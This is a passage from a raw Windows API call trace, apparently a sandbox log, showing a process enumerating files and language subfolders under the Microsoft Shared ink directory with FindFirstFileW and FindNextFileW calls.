ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0054.483] GetLastError () returned 0x12 [0054.483] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0054.483] GetLastError () returned 0x12 [0054.484] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0054.484] GetLastError () returned 0x12 [0054.484] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0054.484] GetLastError () returned 0x12 [0054.484] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0054.484] GetLastError () returned 0x12 [0054.484] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0054.484] GetLastError () returned 0x12 [0054.484] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0054.484] GetLastError () returned 0x12 [0054.484] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0054.484] GetLastError () returned 0x12 [0054.484] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0054.484] GetLastError () returned 0x12 [0054.484] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0054.485] GetLastError () returned 0x12 [0054.485] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0054.485] GetLastError () returned 0x12 [0054.485] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0054.485] GetLastError () returned 0x12 [0054.485] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0054.485] GetLastError () returned 0x12 [0054.485] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0054.485] GetLastError () returned 0x12 [0054.485] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0054.485] GetLastError () returned 0x12 [0054.485] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0054.485] GetLastError () returned 0x12 [0054.486] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0054.486] GetLastError () returned 0x12 [0054.486] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0054.486] GetLastError () returned 0x12 [0054.486] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0054.486] GetLastError () returned 0x12 [0054.486] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0054.486] GetLastError () returned 0x12 [0054.486] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0054.486] GetLastError () returned 0x12 [0054.486] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0054.486] GetLastError () returned 0x12 [0054.486] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0054.486] GetLastError () returned 0x12 [0054.487] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0054.487] GetLastError () returned 0x12 [0054.487] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0054.487] GetLastError () returned 0x12 [0054.487] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0054.487] GetLastError () returned 0x12 [0054.487] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0054.487] GetLastError () returned 0x12 [0054.487] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.487] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.487] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.488] GetLastError () returned 0x12 [0054.488] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.488] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.488] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.488] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0054.488] GetLastError () returned 0x12 [0054.488] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.488] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.489] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.489] GetLastError () returned 0x12 [0054.489] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.489] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.489] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.489] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0054.489] GetLastError () returned 0x12 [0054.489] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0054.489] GetLastError () returned 0x12 [0054.489] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.489] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.490] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.490] GetLastError () returned 0x12 [0054.490] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.490] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.490] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.490] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0054.490] GetLastError () returned 0x12 [0054.490] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, 